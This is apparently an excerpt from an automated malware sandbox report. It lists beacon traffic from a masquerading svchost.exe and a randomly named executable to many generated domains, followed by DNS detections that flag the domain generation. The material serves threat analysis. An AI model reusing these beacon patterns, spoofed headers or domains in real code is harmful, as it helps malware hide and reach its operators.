Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345181|1731345181|0|1|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345217|1731345181|18|2|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345181|1731345181|0|1|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345217|1731345181|18|2|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345217|1731345181|18|2|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478890781963739088
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478890781963739088
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478890781963739088
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478890781963739088
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygynud.com Cookie: snkz=66.23.206.109; btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345185|1731345185|0|1|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com Cookie: snkz=66.23.206.109; btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345186|1731345186|0|1|0
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com
Queries random domain names (often used to prevent blacklisting and sinkholes)
Source: unknownDNS traffic detected: English language letter frequency does not match the domain names
Tries to resolve many domain names, but no domain seems valid
Source: unknownDNS traffic detected: query: qexysig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzypug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumytup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahynus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyjux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebylov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofydac.com replaycode: Name error (3)
